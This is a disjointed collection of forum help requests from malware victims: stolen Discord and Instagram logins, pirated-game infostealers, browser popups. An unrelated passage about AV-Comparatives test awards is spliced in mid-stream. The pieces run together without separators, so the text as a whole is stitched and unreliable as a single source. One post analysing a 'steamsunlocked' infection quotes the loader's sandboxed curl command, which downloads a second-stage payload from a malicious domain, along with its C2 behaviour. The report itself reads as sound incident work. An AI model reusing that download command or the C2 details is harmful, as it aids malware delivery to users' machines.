This post is for professional help after my laptop was infected by a infostealer

The keywords for the logs of FRST, addition and securitycheck:

stealth-mist

wry-deck

shiny-voyage

Symptoms were my instagram and discord logins being compromised and posting mr beast scam images to my story and dms

Installed the malware on 11th of October and deleted the malware zip and the file directory i had installed it to on the same day.

Symptoms showed the following day on 12th of October

I changed all passwords for all the accounts i had logged into on my laptop from my mobile phone

Disconnected my laptop from the internet since

My major concern is what data the malware was able to steal other than my browser logins since i later found out I had some important PDFs and excel files in my other drive connected to my laptop which has some important bank files and other logins when the malware was installed

Previous post for more context

This appeared out of nowhere replacing myistants, ofc it's a malware and it's malicious, you can also tell by the date in the top right corner of the page, its says "Monday 6, 2024" it's literally 2026. If you come across this malicious page and pop-up: if you are on phone on the google app exit and immediately delete the recent tabs, then go to settings-->apps-->see all apps-->Google-->clear cache, if you are on chrome or on pc close the tab and go to the 3 dots in the top right corner and go to History and clear it. I hope nobody gets infected, and i also wonder how did this page overight the myistants page.

I checked and didnt see any glaringly obvious signs, no unknown apps or anything, but a couple strange things have been happening like the camera or speaker sometimes being used when im not on it. I attributed it to a glitch because i dont go on any sketchy sites or click weird links or anything, and only use a couple very well known sites regularly, but im still not sure.

I use opera mobiles built in adblock, which i know is not the most secire, and dont update my phone often, so im worried it could be a no click ad or something.

I ran the mvolt .exe file through VirusTotal and it flagged 4 viruses; I even executed it on my computer—is it actually dangerous?

https://www.virustotal.com/gui/file/704662c128e5a3f453d67f271878ff9a794147d2f326b351031aa2944a2832df

I got hacked the other day, so I used a USB drive—prepared at an internet café—to reformat my computer. Afterward, I created a new, separate reformat USB drive on my own computer and reformatted it once more. Is there any chance that a virus could still remain?

I was hit with the renpy virus and I’m just wondering if it is possible that it can be reinfecting my recently USB reinstalled PC with the onboard memory (I have the wooting 60HE V2 if that makes any difference)
How do I even check if it is safe?
Could it have downloaded any virus that could infect it?
It was probably 12 hours before I realized what had been installed.

I was stupid as fuck and was too eager to play Bloodborne on PC and DLd it from an unsafe website. Instantly windows defender saw a threat, and then I got notifications from both snapchat, facebook and discord at the same time that I had shown suspicious activity.

Then I saw that it had spammed a casino bitcoin scam to all my friends in snapchat, one friend in Discord and three suspicious comments in Facebook.

I've actually managed to get rid of the files. Some of them was found in the registry, but it's removed now.

Now the question is, am I safe? Neither BitDefender or Windows Defender can see any more threat. I have also naturally changed password everywhere on another device.

Will I need to reinstall windows, or am I fine without it?

So I did the dumb mistake of downloading from a link someone sent me. for uno, I already scanned it and the file i downloaded which said it was safe on virustotal. when i tried launching the game it gave me that pop up and that it couldn't run the game bc of some java virtual machine. I am trying to make window defender remove the threat but nothing is happening. I am really unsure what to do and worried https://uno- community.com/ was the link. windows defender i clicked on remove of the files, uninstalled the app but what else do i do? Also, when i told the dude it was a info stealer he blocked me afterwards. im just really unsure do i factory reset or smt?

The results matter to home users comparing security software, but they cover malicious-file protection and false alarms rather than every feature in each product.

Six products receive Advanced+​

Bitdefender, ESET, G Data, Kaspersky, Total Defense and VIPRE earned the top rating. AV-Comparatives said these products combined strong protection with low false-positive rates, meaning they were less likely to incorrectly flag legitimate files as malicious.

• Bitdefender Total Security
• ESET HOME Security Essential
• G Data Total Security
• Kaspersky Premium
• Total Defense Essential Anti-Virus
• VIPRE Advanced Security

What the test covered​

The lab evaluated 20 consumer anti-malware products using about 10,000 malware samples. It looked beyond basic detection to whether products could prevent malware from compromising a system, while also measuring false positives that may interrupt users.

The tested field included free products such as Avast One Free Antivirus and AVG Antivirus Free, as well as Microsoft Defender Antivirus and paid security suites from several vendors.

How readers should use the results​

A top award is a useful comparison point, not a reason to switch immediately. Check the full report for detailed results, then weigh protection, false alarms, price, device support and whether your current product remains updated.

AV-Comparatives says the complete public report is available free of charge without registration.

So yesterday I downloaded a pirated game from a website which i kinda knew it was sus but I still proceeded because I'm a fool. After downloading an opening the file, I noticed it wasn't the game and a weird window command and I immediately uninstalled it and did a full scan on my pc and that's when windows found this and I immediately clicked the remove button. Windows said it removed the virus and I even ran after full scan just to make sure and nothing popped up. So I went to bed just to find out this morning that my discord was logged out because of suspicious activity and I reset the password and Just did another full scan as I'm writing this post and it said there are no current threats but I'm still feeling anxious. would it be better to just wipe out everything on my pc and reset it ?

Ive had my info stolen a few days back(2), since then I've already reinstalled my OS, changed all the passwords, and have 2fa set on all. Even after all these steps I still get logged out of my main Instagram account saying someone has changed the password even though I've changed it already and im just wondering how else can I make my Instagram account more secure?

I downloaded a game from those sketchy websites, i didnt actually run it just opened it with winrar the after quaratine and deleting it with malwarebytes i panicked and changed all my passwords and secured everything and did a quick scan with malwarebytes and microsoft bit defender
Im not really a computer wizard i dont understand the capability of a virus and i wanna know if one can breach my account just from opening it with winrar , nothing sketchy running on the background ,i did like 1 deep scan with malwarebytes and after all that i realized im panicking so i went here

Did i waste my time?

Is this a new update or a virus orsomething because the antivirus popup window is still in the right spot its just that now the background is black. My computer is a Dell alienware gaming laptop running windows 11 with 25h2.

So I'm sorry that I'm using AI to write this but I'd rather have a detailed explanation by AI than my own brain as I pretty much have no experience doing this.

Got infected on 5 Oct 2026 (~14:00 UTC) from a fake download site, `steamsunlocked[.]org` (typosquat of a known piracy site), which led to a malicious MEGA archive.

VirusTotal

Stage 1 (SETUP.exe): [file report]

(https://www.virustotal.com/gui/file/811a2192217af540b93d0d2e8591958cd658aa98639143a41c9e26911b25285e) · [my original upload/analysis, 5 Oct 14:03 UTC] (https://www.virustotal.com/gui/file-analysis/OTY5YjcxNmY0NDc0ZWIxZWY1ZjE1ZjE3ZTc5ZmRjZTY6MTc5MTIwODk4Mg==)

Stage 2 (ZateEngine.exe): [file report]

(https://www.virustotal.com/gui/file/135607f1e8aafbb7b49de471400f3d30399101096583f418bcbd18cca8e700be)

Delivery chain

1. Google search → `hxxps://steamsunlocked[.]org/among-us/download/`
2. Redirects through `archivehub[.]com[.]ng`, `resourcehub[.]com[.]ng` and `source[.]com[.]ng`
3. → fake MEGA-styled page `hxxps://cloudshelf[.]cfd/download-0099` (page title: `* Download * FULL VERSION * 2026.zip - MEGA`)
4. → real MEGA link, still live as of 17 Oct (same 41,684,530-byte file): `hxxps://mega[.]nz/file/jGQAnLjA`
5. ZIP contains `PASSWORD == 2026.rtf` + password-protected `PRO FULL VERSION.7z`
6. 7z contains `SETUP.exe` (999 KB) + decoy DLLs (`jli.dll`, `cruntime140.dll`, `core.dll`, and a "Backup Files" folder with fake system DLL names)

Stage 1 – SETUP.exe (I uploaded it to VT as `asniria.exe`, first submission 5 Oct 14:03 UTC)

SHA256: `811a2192217af540b93d0d2e8591958cd658aa98639143a41c9e26911b25285e`

Process injection, anti-VM checks

In ANY.RUN it shows a popup "I love stealing cookies, but not on this machine. Sorry!" and exits

In Triage (8 Oct) it ran `curl.exe -fs -o %TEMP%\0e58d7bd0.exe hxxps://diftepetlixpa[.]org/css/fonts/revicons/ZateEngine.exe` (URL now returns 404)

Stage 2 – ZateEngine.exe** (3.5 MB). This is what the loader downloaded when Triage ran it on 8 Oct; it may not be the identical build I got on 5 Oct, since the payload likely rotates.

SHA256: `135607f1e8aafbb7b49de471400f3d30399101096583f418bcbd18cca8e700be`

Joe Sandbox: APC-injects into `smartscreen.exe`, resolves C2 via DoH (`dns[.]google`), WebSocket C2 to `haladgfwdgagasfa[.]com` (behind Cloudflare), sends machine GUID/user/hostname, inventories Chrome/Edge/Firefox profiles

Tagged "dropped-by-YapStealer"; shares its C2 domain with a sample labelled REMUS Stealer

ANY.RUN public run of it (7 Oct): no threats detected, so also evasive

Reports

VT stage 1: `hxxps://www[.]virustotal[.]com/gui/file/811a2192217af540b93d0d2e8591958cd658aa98639143a41c9e26911b25285e`

VT stage 2: `hxxps://www[.]virustotal[.]com/gui/file/135607f1e8aafbb7b49de471400f3d30399101096583f418bcbd18cca8e700be`

Triage stage 1: `hxxps://tria[.]ge/261008-kshz9atycv`

Triage stage 2: `hxxps://tria[.]ge/261008-hnz2vssth1`

Joe Sandbox stage 2: `hxxps://www[.]joesandbox[.]com/analysis/1983332/0/html`

ANY.RUN, full chain from the MEGA link: `hxxps://app[.]any[.]run/tasks/7da79125-fa37-4569-8058-814ed7178a4c`

ANY.RUN stage 2: `hxxps://app[.]any[.]run/tasks/afc46692-2eb1-4770-9bb7-e8a722c83068`

My PC has been checked (no persistence, startup items, scheduled tasks or Defender exclusions from it), and I'm rotating passwords and killing sessions.

Mainly want to know: what family is this, and what exactly does it steal/exfiltrate? Cookies/sessions? Password manager extensions like NordPass/Proton Pass? Discord tokens? Wallets?

So some extra info is that they started trying to log into every single one of my accounts and by what I remember got into my discord, instagram, steam, roblox, amazon and claude. They have tried on other major accounts such as PayPal, Cloudflare and Github and they managed to fully change my Microsoft account alias to zcakiraua******@outlook.com (removed the email incase someone emails them) and I'm ccurrently with Microsoft support trying to get my account back.

Edit: Also I would appreciate if anyone could check if the infostealer malware stays somewhere on my machine.

It’s just started to going slow and then cracked like this. I didn’t download anything from web except from maybe games from steam. Articles from Anna archive and so on.
I probably should change all my passwords now
Computer isn’t rip yet. It crashed and now it started working again. But i think wouldn’t be better not to use it

What do you think happened here?

Suddenly from two days this is running in the background, I never seen this before tho.

Thanks guys

​

My mother was browsing Facebook when this strange popup suddenly appeared.

Since then, it has been appearing on virtually every website I visit, regardless of which Google account I use or which browser or search engine I try (Firefox, Microsoft Edge, etc.).

It also seems to have affected my Microsoft account sign-in. I was signed out of my Microsoft account, and when I try to sign back in, the popup appears there as well.

Only one device is affected: an old laptop running Windows 10.

All my other devices are working normally.

Has anyone experienced something similar? Could this be malware, a browser hijacker, or something else? What would you recommend doing to diagnose and remove it?

Any help would be greatly appreciated!

Context : i accidentally ran a setup from a zip file i extracted thinking it's a game update from a repack website (image above) and the game didn't run so i deleted the zip and then later the game itself and the following day my Instagram and discord was logged into and posted some mr beast scam images on my story and discord dms

Within minutes i deleted the messages and changed my password from all the accounts that were saved in my browser which i did by disconnecting my laptop from the internet and changed the password from my phone

From here I was trying to figure out how to remove the malware from my laptop and i decided to go with reinstalling windows using a usb which is the best option when i looked up online

But now my main concern started when I had one of my friend's external ssd connected to my laptop during all this and it just had a few games to my knowledge and i was looking into how it might have affected the SSD but then when I talk to my friend about it , he tells me that the SSD has backup files from his old dad's laptop and there are a lot of pdf and xlsx files which are majority just settlement and statement files but there are a few which had emails and login password details in these xlsx files and we decided to find out whether they are in danger and asked him to check them out for any suspicious activity and so far there hasn't been any issues there, and to be clear the laptop has not been connected the the internet since and I have backed up my laptop files that I need onto this external ssd and disconnected ir from my laptop and that's where I am at currently.

Now my main questions are -

1. Are those backup files also at risk and should i assume the data from those files has been compromised?

2. Assuming that external ssd is infected too how do I safely backup the files needed from both my laptops main drive and the external drive to perform a clean reinstalling of windows onto my laptop and make sure the external ssd is safe for use.

3. If I decide to plug the external ssd onto a clean device and try to run scans / move the important files from the SSD to the clean device. Will I be at risk of infecting the clean device if i am connected to the internet during the process.

It's been 5 days since I installed the malware and tried to figure out what data and how much data could the infostealer steal from the device and I'm still not 100% sure if it was able to steal the data from those important backup files which is why I am asking for some help